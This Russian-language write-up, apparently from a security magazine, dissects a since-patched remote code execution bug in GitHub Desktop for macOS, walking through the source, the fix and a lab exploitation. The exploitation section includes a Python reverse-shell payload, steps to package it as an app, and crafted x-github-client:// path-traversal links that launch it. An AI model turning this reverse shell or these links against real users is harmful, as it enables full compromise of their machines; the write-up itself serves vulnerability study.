Как работает уязвимость в клиенте GitHub для macOS

Как работает уязвимость в клиенте GitHub для macOS

Эксплойт

В клиенте GitHub для macOS до версии 1.3.4 beta 1 нашлась возможность вызвать удаленное выполнение произвольных команд простым переходом по специально сформированной ссылке. В этой статье я расскажу о причинах возникновения и способах эксплуатации этой уязвимости.

Баг нашел Андре Баптиста (André Baptista) в рамках ивента H1-702 2018. Уязвимость заключается в некорректном механизме обработки кастомной URL-схемы x-github-client://, с помощью которой происходит общение с приложением.


Тестовый стенд

Так как сегодня рассматриваемая уязвимость работает только в macOS, все манипуляции будут производиться в ней. Я скачал виртуальную машину для VMware с macOS 10.14.1 Mojave на одном всем известном трекере.


Информация о виртуалке с macOS

Теперь нужно установить XCode и менеджер пакетов brew.

$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Разработчики GitHub не предоставляют возможность скачивать старые версии приложения. Поэтому придется компилировать его из исходников. Клонируем репозиторий с десктопным клиентом GitHub и не забываем, что последняя уязвимая версия — 1.3.4 beta 0, ее мы и будем использовать.

$ git clone --depth=1 -b release-1.3.4-beta0 https://github.com/desktop/desktop.git

Клиент разработан на основе фреймворка Electron и написан на TypeScript с использованием React. А это значит, что нам понадобится Node.js с кучей библиотек. Чтобы понять, как скомпилировать приложение, можно заглянуть в файл appveyor.yml. Это конфигурационный файл для сервиса системы непрерывной интеграции (CI) с таким же названием AppVeyor.

/desktop-release-1.3.4-beta0/appveyor.yml

install:
  - cmd: regedit /s script\default-to-tls12-on-appveyor.reg
  - ps: Install-Product node $env:nodejs_version $env:platform
  - git submodule update --init --recursive
  - yarn install --force

Git у нас уже имеется, а вот менеджер пакетов yarn нужно установить с помощью brew.

$ brew install yarn

Он уже идет в комплекте с Node, но имеющаяся версия слишком нова для нашего проекта.

/desktop-release-1.3.4-beta0/appveyor.yml

environment:
  nodejs_version: '8.11'
Установка менеджера пакетов yarn

Поэтому устанавливаем версию из ветки 8.х.

$ brew install node@8

Затем заменяем версию «Ноды» на более старую с помощью команд link/unlink.

$ brew unlink node
$ brew link node@8 --force --overwrite
Даунгрейд версии Node с 11.х до 8.х для корректной компиляции

Все готово для компиляции. Сначала последовательно выполняем команды из раздела install. Это подгрузит все необходимые зависимости и пакеты.

$ git submodule update --init --recursive
$ yarn install --force
Установка зависимостей для компиляции GitHub Desktop

После этого переключаемся на команды из раздела build_script.

/desktop-release-1.3.4-beta0/appveyor.yml

build_script:
  - yarn lint
  - yarn validate-changelog
  - yarn build:prod

Причем первые две можно пропустить и обойтись только последней.

$ yarn build:prod
Успешная компиляция десктопного приложения GitHub под macOS

Теперь в директории /dist/GitHub Desktop-darwin-x64/GitHub Desktop.appнаходится готовое приложение. Можно скопировать его в папку Applications и запустить.

Окно About приложения GitHub Desktop для macOS

Пройди начальную настройку, и стенд готов.

 


Детали уязвимости

Посмотрим на исходники. Нас интересует, какие протоколы регистрирует приложение.

/desktop-release-1.3.4-beta0/script/build.ts

160: // macOS
161: appBundleId: getBundleID(),
162: appCategoryType: 'public.app-category.developer-tools',
163: osxSign: true,
164: protocols: [
165:   {
166:     name: getBundleID(),
167:     schemes: [
168:       isPublishableBuild
169:         ? 'x-github-desktop-auth'
170:         : 'x-github-desktop-dev-auth',
171:       'x-github-client',
172:       'github-mac',
173:     ],
174:   },
175: ],

Интерес представляет схема x-github-client. С ее помощью ты можешь общаться с приложением, отправлять различные команды и запросы, а они будут обработаны согласно зашитой логике. Посмотрим, какие методы можно использовать через данную схему.

/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts

073: export function parseAppURL(url: string): URLActionType {
074:   const parsedURL = URL.parse(url, true)
075:   const hostname = parsedURL.hostname
...
083:   const actionName = hostname.toLowerCase()
084:   if (actionName === 'oauth') {
...
104:   if (actionName === 'openrepo') {
...
138:   if (actionName === 'openlocalrepo') {

Давай заценим живой пример общения с десктопным приложением. Сначала авторизуемся и в приложении, и в браузере одним и тем же пользователем. Теперь откроем любой репозиторий на гитхабе. Я открою свой, потому что я нарцисс. Обрати внимание на кнопку клонирования — ее можно развернуть. Под катом расположились опции, среди которых Open in desktop. Если открыть консоль разработчика и посмотреть на ссылку данной кнопки, то увидишь нашу схему x-github-client для общения с приложением.

Ссылка на открытие репозитория в десктопном клиенте GitHub

С помощью метода openrepo попробуем открыть репозиторий в приложении, и если его нет, то всплывающее окошко предложит его клонировать на локальную машину. Сделаем это.

Клонирование репозитория в приложение GitHub Desktop

Подобная иконка имеется и при просмотре отдельных файлов репозитория.

Ссылка на открытие отдельного файла репозитория в приложении GitHub

Здесь она имеет уже более интересный вид:

x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=pam_steal%2FREADME.md

В параметре filepath расположился путь до файла относительно репозитория. Если репозиторий уже клонирован и файл имеется на диске, то при обработке такой ссылки откроется Finder в соответствующей папке.

/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts

104: if (actionName === 'openrepo') {
105:   const probablyAURL = parsedPath
106: 
107:   // suffix the remote URL with `.git`, for backwards compatibility
108:   const url = `${probablyAURL}.git`
109: 
110:   const pr = getQueryStringValue(query, 'pr')
111:   const branch = getQueryStringValue(query, 'branch')
112:   const filepath = getQueryStringValue(query, 'filepath')
...
129:   return {
130:     name: 'open-repository-from-url',
131:     url,
132:     branch,
133:     pr,
134:     filepath,
135:   }

/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts

841: case 'open-repository-from-url':
842:   const { pr, url, branch } = action
...
846:   const branchToClone = pr && branch ? null : branch || null
847:   const repository = await this.openRepository(url, branchToClone)
848:   if (repository) {
849:     this.handleCloneInDesktopOptions(repository, action)

/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts

928: private async handleCloneInDesktopOptions(
929:   repository: Repository,
930:   action: IOpenRepositoryFromURLAction
...
959:   if (filepath != null) {
960:     const fullPath = Path.join(repository.path, filepath)
961:     // because Windows uses different path separators here
962:     const normalized = Path.normalize(fullPath)
963:     shell.showItemInFolder(normalized)
964:   }

/desktop-release-1.3.4-beta0/app/src/lib/app-shell.ts

14: export const shell: IAppShell = {
...
29:   showItemInFolder: path => {
30:     ipcRenderer.send('show-item-in-folder', { path })
31:   },

/desktop-release-1.3.4-beta0/app/src/main-process/main.ts

362: ipcMain.on(
363:   'show-item-in-folder',
364:   (event: Electron.IpcMessageEvent, { path }: { path: string }) => {
365:     Fs.stat(path, (err, stats) => {
...
371:       if (stats.isDirectory()) {
372:         openDirectorySafe(path)
373:       } else {
374:         shell.showItemInFolder(path)
375:       }
376:     })
377:   }

«Вижу путь — пробую path traversal» — таков девиз. Немного поигравшись с параметром, обнаруживаем, что уязвимость данного типа действительно присутствует. Например, при переходе по такой ссылке будет запущен калькулятор:

x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=../../../../../../../../../../../Applications/Calculator.app

Все потому, что проверка stats.isDirectory() отрабатывает в macOS, так как там приложения — это обычные папки, которые по-особенному обрабатываются системой. А дальше в теле функции openDirectorySafe вызывается встроенный во фреймворк Еlectron метод openExternal, где в качестве аргументов используется схема file:/// и переданный filepath.

/desktop-release-1.3.4-beta0/app/src/main-process/shell.ts

 2: import { shell } from 'electron'
...
13: export function openDirectorySafe(path: string) {
14:   if (__DARWIN__) {
15:     const directoryURL = Url.format({
16:       pathname: path,
17:       protocol: 'file:',
18:       slashes: true,
19:     })
20: 
21:     shell.openExternal(directoryURL)
22:   } else {
23:     shell.openItem(path)
24:   }
25: }

Теперь взглянем на патч-коммит под символичным названием macOS is a special.

Патчи RCE-уязвимости в клиенте GitHub для macOS

/desktop-release-1.3.4-beta1/app/src/main-process/main.ts

371: if (!__DARWIN__ && stats.isDirectory()) {
372:   openDirectorySafe(path)

Добавленная проверка теперь не дает методу openExternal отработать в macOS.

Для эксплуатации уязвимости с минимальным участием юзера, в один клик, нужно, чтобы у пользователя уже был клонирован твой репозиторий и стояла опция, которая по дефолту разрешает открывать ссылки типа x-github-client в GitHub Desktop.

Простейший пейлоад можно накидать в виде скрипта на Python.

poc.py

import socket,subprocess,os;

os.system("open -a calculator.app")

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Здесь мы открываем калькулятор для наглядности и кидаем бэкконнект на порт 1337. Скомпилируем код в приложение при помощи PyInstaller.

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py --user
pip install pyinstaller --user
pyinstaller -w poc.py
mv dist/poc.app/ .

Затем создаем репозиторий, в который кладем наше приложение-пейлоад. Теперь нужно заставить пользователя кликнуть на ссылку, которая клонирует его и запустит нужную полезную нагрузку.

Для этих целей Андре Баптиста сделал приятную HTML-страничку. Ссылка ведет на его репозиторий, в котором лежит такое же приложение, что мы компилировали выше.

x-github-client://openRepo/https://github.com/0xACB/github-desktop-poc?branch=master&filepath=osx/evil-app/rce.app
Эксплоит для GitHub Desktop

После клика на Clone эксплоит успешно отрабатывает.

Успешная эксплуатация приложения GitHub Desktop в macOS

Вывод

Итак, мы разобрались в уязвимости приложения GitHub, которое написано на Electron, и научились эксплуатировать ее. Ты узнал, что клик по безобидной ссылке может привести к полной компрометации системы. Думаю, что в коде этого клиента можно найти еще много чего интересного, так что дерзай — ребята дают неплохие вознаграждения. А пока обновляйся и не кликай на подозрительные ссылки.


Report Page